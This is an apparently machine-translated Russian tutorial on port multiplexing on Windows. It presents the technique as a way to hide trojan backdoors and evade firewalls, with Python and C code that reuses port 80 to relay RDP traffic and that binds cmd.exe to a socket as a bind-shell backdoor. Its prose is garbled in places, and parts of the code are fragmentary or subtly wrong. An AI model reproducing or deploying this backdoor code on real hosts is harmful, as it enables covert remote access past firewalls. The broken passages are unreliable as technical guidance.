0x00 открытие
Мультиплексирование портов всегда было распространенным методом для троянских коней, и когда мы проводим тесты безопасности, иногда требуется мультиплексирование портов.
Общие условия для мультиплексирования портов следующие:
(1) Сервер открывает для внешнего мира только определенный порт (порт 80 или любое другое небольшое количество портов), а все остальные порты блокируются (2) Во избежание брандмауэра (3) Чтобы скрыть собственный бэкдор ( 4) Без переадресации портов (5) Инфильтрация интрасети (например: когда текущий сервер находится в интрасети, IP-адрес интрасети 10.10.10.10, порт входа в терминал открыт, но не открыт для внешней сети, сопоставление портов выполняется через IP-адрес внешней сети: 111.111.111.111 и открыт только порт 80, через мультиплексированный порт, напрямую подключенный к интрасети).
Подводя итог, для достижения наших различных небольших целей технология мультиплексирования портов по-прежнему необходима.
Эта статья в основном посвящена мультиплексированию портов в системе Windows.По сравнению с Windows, мультиплексирование портов в Linux просто и легко реализуемо и не будет обсуждаться.
0x01 Точки мультиплексирования портов
Мультиплексирование портов, нельзя использовать общийsocket
Сокет контролируется напрямую, что приведет к сбою запуска самой программы или связанных с ним служб, занимающих порт, поэтому единственный способ — пока что делать что-то локально.
Первый, перенаправление мультиплексирования портов
Пример: установить два сокета локальноsock1
,scok2
,scok1
Слушайте порт 80, когда придет соединение,Sock2
порт перенаправления соединения,Sock1
Полученные данные оцениваются и передаютсяSock2
Вперед. Таким образом, вы можете подключиться к перенаправленному порту, обратившись к порту 80 целевой машины.
Во-вторых, мультиплексирование портов
Пример: Установите локальный порт, который слушает тот же порт, что и локальный открытый порт, например порт 80. Когда приходит соединение, определите, является ли это вашим собственным пакетом данных, если да, обработайте данные, в противном случае не обрабатывайте их и передать его исходной программе.
Мультиплексирование портов на самом деле не так загадочно и сложно, как все думают.Среди них, перенаправление портов использует только локальный адрес обратной связи 127.0.0.1 для пересылки и получения входящих данных, а мультиплексирование портов использует толькоsocket
сопутствующие функции, не более того.
Мультиплексирование портов TCP реализовано фрагментом кода следующим образом.
s = socket(AF_INET,SOCK_STREAM,0);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));
server.sin_family=AF_INET;
server.sin_port=htons(80);
server.sin_addr.s_addr=htonl(“127.0.0.1”);
скопировать код
Одной из наиболее важных функций технологии мультиплексирования портов являетсяsetsockopt()
, Эта функция определяет проблему перепривязки портов.
Объяснение Википедии:setsockopt()
Функция для установки значения параметра для любого типа, любого состояния сокета. Хотя параметры существуют на разных уровнях протокола, эта функция определяет параметры только на самом высоком уровне «сокета».
По умолчанию сокет не может привязаться (bind()) к уже используемому локальному адресу. Но иногда необходимо «переиспользовать» адреса. Поскольку каждое соединение однозначно определяется комбинацией локального и удаленного адресов, при условии, что удаленные адреса различаются, привязка двух сокетов к одному адресу не является большой проблемой. Чтобы сообщить реализациям сокетов, чтобы не препятствовать привязке адреса к другому сокету, потому что он уже используется другим сокетом, приложение можетbind()
установить перед вызовомSO_REUSEADDR
опции. Обратите внимание, что толькоbind()
Эта опция интерпретируется только при вызове, поэтому нет необходимости (но безвредно) устанавливать эту опцию для сокета, который не имеет общих адресов, илиbind()
Установите или снимите этот параметр, не затрагивая этот или другие сокеты.
То, что мы собираемся использовать здесь, этоsocket
серединаSO_REUSEADDR
, ниже его объяснение.
SO_REUSEADDR предоставляет следующие четыре функции:
SO_REUSEADDR: позволяет запустить прослушивающий сервер и привязать его известный порт, даже если ранее установленные соединения, использующие этот порт в качестве локального порта, все еще существуют. Обычно это происходит при перезапуске прослушивающего сервера, если этот параметр не установлен, то при привязке возникнет ошибка. SO_REUSEADDR: позволяет запускать несколько экземпляров одного и того же сервера на одном и том же порту, если каждый экземпляр связан с другим локальным IP-адресом. С TCP для нас просто невозможно запустить несколько серверов, связанных с одним и тем же IP-адресом и одним и тем же номером порта. SO_REUSEADDR: позволяет одному процессу привязывать один и тот же порт к нескольким сокетам, если каждая привязка указывает другой локальный IP-адрес. Обычно это не используется для серверов TCP. SO_REUSEADDR: разрешает полную дублирующую привязку: когда IP-адрес и порт привязаны к сокету, также разрешается привязка IP-адреса и порта к другому сокету. Как правило, эта функция доступна только в системах, поддерживающих многоадресную рассылку, и только для сокетов UDP (TCP не поддерживает многоадресную рассылку).
Как правило, нам нужно установитьsocket
Это неблокирующий режим, потому что, если мы находимся в блокирующем режиме, это может привести к недоступности исходной службы занятого порта или недоступности его собственной программы.Видно, что безопаснее использовать неблокирующий режим для порта. повторное использование.
Тем не менее, необходимо проверить теоретические факты.Если некоторые порты настроены на неблокировку из-за непрерывности передачи данных, это может привести к аномальному приему данных или сбою приема данных.Неблокировка мало влияет на краткосрочные соединения, но это мало влияет на постоянные соединения.Может быть затронуто соединение, например, переадресация и мультиплексирование порта 3389, поэтому использование неблокировки зависит от ситуации с портом.
блокироватьБлокирующий вызов означает, что до возврата результата вызова текущий поток будет приостановлен (поток переходит в неисполняемое состояние, в этом состоянии ЦП не будет выделять потоку квант времени, то есть поток приостанавливается ). Функция не возвращается, пока не получит результат.
неблокирующийТакому соответствуют понятия неблокируемость и блокировка, а это значит, что функция не будет блокировать текущий поток до тех пор, пока результат не будет получен сразу, а вернётся немедленно.
0x02 Яма мультиплексирования портов
Мультиплексирование портов можно разделить натеорияинастоящий бой, О ямах поговорим подробнее ниже.
Теория: Теоретически мы используем технологию мультиплексирования портов, чтобы не влиять на другие программы или процессы, занимающие этот порт, потому что мы устанавливаемsocket
заSO_REUSEADDR
, монитор0.0.0.0:80
и слушаю192.168.1.1:80
или слушать127.0.0.1:80
, их адреса разные, трафик, полученный созданной программой или процессом, не влияет друг на друга, а несколько потоков или процессов не влияют друг на друга.
Реальный бой: В Windows мы устанавливаемsocket
заSO_REUSEADDR
, но не может открыть программу мультиплексирования портов, закрыть программу веб-службы, программа мультиплексирования портов доступна, но программа веб-службы не может использоваться, и может существовать только то же самое, поэтому мультиплексирование портов является запасным колесом. О нет, это домкрат, используйте его при замене запаски.
В теории наше мышление идеально, но на самом деле вы ставитеsocket
заSO_REUSEADDR
Не такой большой, как ожидалось.
как программистsocket
Необходимо использовать перед привязкойsetsockopt
уточнитьSO_EXCLUSIVEADDRUSE
Все адреса портов должны быть эксклюзивными, а мультиплексирование не допускается. Таким образом, другие люди не смогут повторно использовать этот порт, даже если вы установитеsocket
заSO_REUSEADDR
Тоже не работает, программа вообще не запускается.
При тестировании мультиплексирования портов в Windows, когда служба IIS запущена, программа мультиплексирования портов не может работать нормально.Когда программа мультиплексирования портов включена, IIS не может нормально использоваться.Прочитав соответствующие документы, мы узнали, что причина в том, что запуск начиная с IIS6.0, Microsoft будет инкапсулировать процесс сетевого взаимодействия на уровне Ring0, а драйвер http.sys используется для прямого сетевого взаимодействия. один установленSO_REUSEADDR
изsocket
Всегда можно выполнить привязку к исходному адресу и исходному порту, который уже был привязан, независимо от предыдущей привязки по этому адресу и порту.socket
Это установленоSO_REUSEADDR
нет. Эта операция оказала большое влияние на безопасность системы, поэтому Microsoft добавила еще однуsocket
Опции:SO_EXECLUSIVEADDRUSE
. уже настроенSO_EXECLUSIVEADDRUSE
изsocket
Убедитесь, что после успешной привязки исходный порт и адрес для привязки принадлежат только этому порту.socket
,разноеsocket
Ни один не может связать, даже они используютSO_REUSEADDR
Бесполезно запрашивать мультиплексирование портов (конечно, вы также можете изменить адрес прослушивания IIS или внедритьhttp.sys
водить, но в реальном бою это нереально).
Среди них есть исключения, например, apache и другое промежуточное ПО сервера, работающее на прикладном уровне, может выполнять мультиплексирование портов на своих открытых портах, но таким образом область мультиплексирования портов намного меньше.
Но вы думаете, что это действительно так? НЕТ НЕТ НЕТ!
Трафик порта осуществляется через протокол.Если через порт проходит несколько протоколов, трафик будет направляться только к одному соединению, а трафик будет направляться к первому (последнему) установленному соединению.socket
,другиеsocket
Он может подключаться к WAIT, ждать, пока соединение для передачи данных будет прервано, или нормально завершиться после завершения передачи данных, а другое соединение будет заблокировано и не может быть использовано, что соответствует китайской пословице «Одна гора не может быть использована». за двух тигров" (вероятность этого будет меньше при пересылке с разделенными данными). ).
Если данные выгружаются иburp
иFiddler
Принцип тот же, переадресация через посредника осуществляется посредством прокси-передачи, которая может не только обеспечить мультиплексирование портов, но и обеспечить целостность данных.
Есть много способов обойти эти ямы, приведу несколько примеров
1. Перенаправление прокси локального порта
2. Инъекция крючком
3. Приводной впрыск
Методы обхода выходят за рамки этой статьи. ^__^
0x03 Процесс мультиплексирования портов
После того, как с принципом и пит-поинтами покончено, давайте поговорим о конкретных деталях мультиплексирования портов (даже если мы знаем актуальность мультиплексирования портов сейчас)
Описание эксперимента: все эксперименты в этой статье являются теоретическими экспериментами, и все промежуточное ПО службы работает на уровне системных приложений.
В настоящее время существует два типа мультиплексирования портов привязки:
Мультиплексное перенаправление портов
Мультиплексный порт
(1) Мультиплексное перенаправление портов
Условия использования:
Изначально существует порт 80 и прослушивается порт 80, вам нужно повторно использовать порт 80 для перенаправления на порт 3389 (любой другой)
Подготовьте среду:
Здесь я использую jspstudy для создания веб-сервера и использую виртуальную машину для имитации внешней среды.
Сервер Windows7: IP: 192.168.1.8, открытый порт 80, порт 3389
Виртуальная машина Win2008: IP: 192.168.19.130
Включаем сервер и проверяем открытые порты, видим что у нас открыты порты 80 и 3389
Давайте сейчас запустим инструмент мультиплексирования портов, чтобы увидеть, нормальная ли веб-страница.
Затем сервер win2008 192.168.19.130 открывает соединитель удаленного рабочего стола для подключения к порту 80 192.168.1.8.
Как видите, мы успешно подключились к порту 3389 192.168.1.8.
(2) Порт мультиплексирования
Условия использования:
Изначально существует порт 80, и он слушает порт 80, вам нужно переиспользовать порт 80 на порт 23 (любой другой)
Подготовьте среду:
Здесь я использую jspstudy для создания веб-сервера и использую виртуальную машину для имитации внешней среды.
Сервер Windows7: IP: 192.168.1.8, открытый порт 80
Виртуальная машина Win2008: IP: 192.168.19.130
Мультиплексирование портов здесь предназначено для имитации бэкдора cmd, когда внешний IP-адрес: 192.168.19.130, локальный IP-адрес telnet: 192.168.1.8, отбрасывает cmsdshell в прошлом.
Запустите инструмент мультиплексирования портов и подключитесь telnet к порту 80 192.168.1.8.
Вы можете видеть, что мы успешно получили сеанс оболочки cmd.
Что ж, мы сделали конкретную теорию, ямы и реальный бой, теперь давайте приступим к анализу исходного кода.
0x04 Анализ исходного кода мультиплексирования портов
(1): Перенаправление мультиплексированного порта
Назначение: изначально существовал порт 80, и прослушивались порты 80, 22, 23, 3389 и другие порты, повторно использовался порт 80
Реализация мультиплексного перенаправления портов
(1) Внешний IP-адрес на локальный IP-адрес: 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
(2) Локальный IP-адрес на внешний IP-адрес: 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
первый внешнийIP(192.168.2.1)
подключиться локальноIP(192.168.1.1)
из80
порт, из-за местныхIP(192.168.1.1)
Мультиплексирование портов ограничено80
порт, поэтому порт мультиплексной привязки прослушивает внешнийIP(192.168.2.1)
Адресуйте трафик, определите, является ли он HTTP-трафиком, и, если да, отправьте его обратно в локальный80
порт, иначе местныйIP(192.168.1.1)
адрес подключения локальныйip(127.0.0.1)
из3389
порт, из местногоIP(127.0.0.1)
порт3389
Полученный трафик является локальнымIP(192.168.1.1)
адрес отправлен на внешнийIP(192.168.2.1)
По адресу этот процесс завершает полное перенаправление мультиплексирования портов.
Мы объясняем код Python следующим образом:
#coding=utf-8
import socket
import sys
import select
host='192.168.1.8'
port=80
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
s.bind((host,port))
s.listen(10)
S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
S1.connect(('127.0.0.1',3389))
print "Start Listen 80 =>3389....."
while 1:
infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除
if len(infds)!=0:#转发3389需去除
conn,(addr,port)=s.accept()
print '[*] connected from ',addr,port
data=conn.recv(4096)
S1.send(data)
recv_data=s1.recv(4096)
conn.send(recv_data)
print '[-] connected down',
S1.close()
s.close()
скопировать код
Сначала мы создаем два сокетаs
иs1
,s
связывать80
порт, гдеsetsockopt
использовалsocket.SO_REUSEADDR
Для достижения цели мультиплексирования портов,s1
подключиться локально3389
порт,s1
Здесь он играет роль передачи данных,select
Это то, что мы используем для решения проблем с блокировкой, но этот код здесь немного проблематичен.Эта проблема упоминалась ранее,3389
Порт может быть подключен, но передача данных будет прервана, нам нужно включить многопоточность, чтобы обеспечить непрерывную передачу данных и отменить ее.select
.
Так что, если вы хотите различать эти два данных?
Нам нужно только добавить суждение (как судить о заголовке данных можно настроить) или судить о нашем собственном заголовке тега.
if 'GET' or ‘POST’ in data:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(data)
bufer=''
while 1:
recv_data=s.recv(4096)
bufer += recv_data
if len(recv_data)==0:
break
скопировать код
Мы пересылаем чужие пакеты на локальный loopback-адрес80
Порт http сервера.
Ниже приведен код реализации языка C:
Как и в коде Python, сначала мы привязываем локальный монитор и повторно используем80
Порт, где прослушивающий IP может иметь проблемы, то мы можем заменить его на192.168.1.1
,127.0.0.1
Все возможно, но не здесьselect
Чтобы разобраться с блокировкой, будут проблемы, поэтому убираем ее, и напоследок создаем поток для взаимодействия по передаче данных.
//初始化操作
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("0.0.0.0");
saddr.sin_port = htons(80);
if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("[-] error!socket failed!//n");
return (-1);
}
//复用操作
if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf("[-] error!setsockopt failed!//n");
return -1;
}
//绑定操作
if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf("[-] error!bind failed!//n");
return -1;
}
//监听操作
listen(server_sock, 2);
while (1)
{
caddsize = sizeof(scaddr);
server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
if (server_conn != INVALID_SOCKET)
{
cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
if (cthd == NULL)
{
printf("[-] Thread Creat Failed!//n");
break;
}
}
CloseHandle(cthd);
}
closesocket(server_sock);
WSACleanup();
return 0;
}
скопировать код
вот одинClientThread()
функция, эта функция требуется вmain()
Вызывается в функции (см. приведенный выше код), здесь создается сокет для подключения к локальному3389
порт, сwhile
Цикл для обработки мультиплексированных интерактивных данных,80
Данные, отслеживаемые портом, отправляются на локальный3389
порт выше, от местного3389
Данные, считанные портом, используются80
Сокет порта отправляется, что представляет собой перенаправление мультиплексирования портов.Конечно, как и в приведенном выше коде Python, в середине может быть добавлено условие оценки данных, чтобы обеспечить целостность, надежность и точность потока данных.
//创建线程
DWORD WINAPI ClientThread(LPVOID lpParam)
{
//连接本地目标3389
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(3389);
if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("[-] error!socket failed!//n");
return -1;
}
val = 100;
if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
{
ret = GetLastError();
return -1;
}
if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0)
{
ret = GetLastError();
return -1;
}
if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0)
{
printf("[-] error!socket connect failed!//n");
closesocket(conn_sock);
closesocket(ss);
return -1;
}
//数据交换处理
while (1)
{
num = recv(ss, buf, 4096, 0);
if (num > 0){
send(conn_sock, buf, num, 0);
}
else if (num == 0)
{
break;
}
num = recv(conn_sock, buf, 4096, 0);
if (num > 0)
{
send(ss, buf, num, 0);
}
else if (num == 0)
{
break;
}
}
closesocket(ss);
closesocket(conn_sock);
return 0;
}
скопировать код
Другой метод — использовать переадресацию портов для достижения эффекта мультиплексирования портов.Мы также можем использовать инструменты переадресации портов, такие как lcx, для достижения того же эффекта, но скрытие не очень хорошее, но давайте упомянем об этом.
Нижеpython
Кодlcx
Из-за нехватки места написан только основной код.
Сначала определите две функции, однуserver
конец иconnect
конец,server
для связывания портов,connect
Используется для подключения к перенаправленным портам.
здесьselect
для решения проблем с блокировкой сокетов,get_stream()
функция обменаsock
Преимущество этого заключается в том, что разделение труда между двумя сторонами является четким, что позволяет избежать путаницы.ex_stream()
Функция используется для пересылки данных потоковых объектов.Connect()
В функции есть контроль времени для контроля времени ожидания соединения и ожидания соединения, чтобы избежать исключения ошибки соединения.
Однако фактselect
После контроля блокировки3389
Соединения с портом не могут правильно обмениваться данными, другие эфемерные сокеты соединения не затрагиваются.
def get_stream(flag):
pass
def ex_stream(host, port, flag, server1, server2):
pass
def server(port, flag):
host = '0.0.0.0'
server = create_socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(10)
while True:
infds,outfds,errfds=select.select([server,],[],[],5)
if len(infds)!= 0:
conn, addr = server.accept()
print ('[+] Connected from: %s:%s' % (addr,port))
streams[flag] = conn
server_sock2 = get_stream(flag)
ex_stream(host, port, flag, conn, server_sock2)
def connect(host, port, flag):
connet_timeout = 0
wait_time = 30
timeout = 5
while True:
if connet_timeout > timeout:
streams[flag] = 'Exit'
print ('[-] Not connected %s:%i!' % (host,port))
return None
conn_sock = create_socket()
try:
conn_sock.connect((host, port))
except Exception, e:
print ('[-] Can not connect %s:%i!' % (host, port))
connet_timeout += 1
time.sleep(wait_time)
continue
print "[+] Connected to %s:%i" % (host, port)
streams[flag] = conn_sock
conn_sock2 = get_stream(flag)
ex_stream(host, port, flag, conn_sock, conn_sock2)
скопировать код
(1): Мультиплексирование портов
Принцип мультиплексирования портов состоит в том, чтобы контролировать тот же порт, что и исходный порт, занимающий программу.Когда мультиплексированный порт имеет данные, мы можем судить, является ли это нашим собственным пакетом данных.Исходный порт занимает обработку программы.
Проблема здесь в том, что если вы не разберетесь с атрибуцией пакетов, то порт будет занят мультиплексором портов, из-за чего программа занятости исходного порта не сработает.
Внешний IP: 192.168.2.1=>192.168.1.1:80=>run(данные)
Внутренний IP: return(data)=>192.168.1.1:80=>192.168.2.1
Код использует бэкдор cmd в качестве примера, мы все равно сначала создаем сокет TCP
listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
скопировать код
настраиватьsocket
многоразовыйSO_REUSEADDR
BOOL val = TRUE;
setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
скопировать код
Установите IP и номер мультиплексированного порта, IP и номер порта зависят от ситуации.
sockaddr_in sockaaddr;
sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8");
sockaaddr.sin_family = AF_INET;
sockaaddr.sin_port = htons(80);
скопировать код
Установите программу восстановления наcmd.exe
Например, сначала создайте свойство окна и инициализируйте его какCreateProcess()
Создайте процесс для подготовки, когдаcmd.exe
После успешного создания процесса начните сsocket
Для обмена данными его также можно заменить другими программами, такими какShellcode
Пони-ресиверы, программы для записи в файлы, бэкдоры и прочее.
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;
char cmdLine[] = "cmd";
PROCESS_INFORMATION pi;
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi);
скопировать код
0x05Сводка
В технологии мультиплексирования портов действительно много ям. На самом деле, пока мы знаем характеристики, обойти не сложно. Я думаю, что мультиплексирование портов нормально в системе Linux, но когда технология мультиплексирования портов внедряется в систему Windows, я думаю, что мультиплексирование портов похоже на домкрат.Его можно использовать при смене запасного колеса, но ненадолго, иначе он Возникла проблема (^__^).